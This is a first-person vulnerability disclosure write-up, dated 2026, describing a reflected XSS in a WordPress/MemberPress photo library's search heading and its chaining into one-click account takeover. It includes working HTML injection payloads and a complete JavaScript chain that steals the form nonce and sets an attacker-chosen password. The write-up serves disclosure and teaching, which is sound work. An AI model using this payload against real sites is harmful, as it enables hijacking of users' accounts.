On August 18, 2026, I reported a reflected cross-site scripting vulnerability in the search functionality of a public photo library. The s query parameter was reflected into six locations in the HTML response. Five applied proper encoding. The sixth, a page heading rendered inside an <h1> element, reflected user input with no HTML encoding at all. The only transformation applied was backslash-escaping of quotes, which has no sanitisation effect in an HTML element context.

That alone is a reflected XSS. What made it worth chaining was the application's password-change form: it required only a nonce readable from the same origin, not the current password. A single crafted link, clicked by a signed-in user, changed their password to an attacker-controlled value with no further interaction.

What I found

The application ran WordPress with MemberPress for account management. Searching with ?s=<b>BOLD</b> rendered the text in bold inside the page heading, confirming raw HTML injection:

<h1 class="c-page-header__title">
    <b>BOLD</b>
</h1>

An <img> tag with an error handler confirmed JavaScript execution:

<h1 class="c-page-header__title">
    <img src=x onerror=alert(document.domain)>
</h1>

The browser parsed the injected tag as a real HTML element. The invalid src=x triggered onerror, executing arbitrary JavaScript in the application's origin.

Why the other five reflections were safe

The same parameter appeared in the <title> element, an RSS <link> title attribute, an RSS <link> href, an <input> value, and filter links in the page body. The first four applied HTML entity encoding. The filter links URL-encoded the value in the query string. Only the heading omitted encoding entirely.

The account-takeover chain

The MemberPress password-change form at /account/?action=newpassword did not require the current password. It required only a valid mepr_account_nonce, which is a standard WordPress nonce embedded in the form and readable by same-origin JavaScript. The chain was straightforward:

fetch('/account/?action=newpassword')
  .then(r => r.text())
  .then(html => {
    let nonce = html.match(/mepr_account_nonce.*?value="([^"]+)"/)[1];
    let body = new URLSearchParams({
      'mepr-process-account': 'Y',
      'mepr_account_nonce': nonce,
      '_wp_http_referer': '/account/?action=newpassword',
      'mepr-new-password': 'Attacker!P@ss123',
      'mepr-confirm-password': 'Attacker!P@ss123',
      'mp-pass-strength': '4'
    });
    return fetch('/account/?action=newpassword', {
      method: 'POST',
      body: body,
      headers: {'Content-Type': 'application/x-www-form-urlencoded'}
    });
  });

The payload fetches the password-change page, extracts the nonce, and submits a new password. Delivered through the XSS, the entire sequence executes in the victim's browser session with no interaction beyond clicking the initial link. The victim must be signed in. No other precondition exists.

What helped the chain along

Three factors compounded the impact. There was no Content-Security-Policy header, so inline scripts, event handlers and external script loading were all unrestricted. The WordPress wordpress_logged_in_* cookies were not HttpOnly, which would have allowed direct session theft as an alternative to the password-change chain. And the password-change form itself required no reauthentication, making a silent one-click takeover possible rather than requiring the attacker to use a stolen session interactively.

Report status

I reported this through a vulnerability disclosure program on August 18, 2026. The finding was triaged and forwarded to the organisation on September 14 with severity assessed at CVSS 8.1 High. The organisation confirmed the fix on October 1, 2026. I verified that the reflected XSS no longer reproduced and that the account-takeover chain was broken at its entry point.

Timeline

18 Aug 2026   Submitted
14 Sep 2026   Triaged and forwarded, severity set to High (8.1)
15 Sep 2026   Organisation acknowledged receipt
01 Oct 2026   Fix deployed, confirmed working
01 Oct 2026   Resolved

An application that encodes user input in five places and misses a sixth has not made a mistake in one place. It has made the same decision six times and gotten it wrong once, which is the base rate for a pattern that relies on every callsite remembering.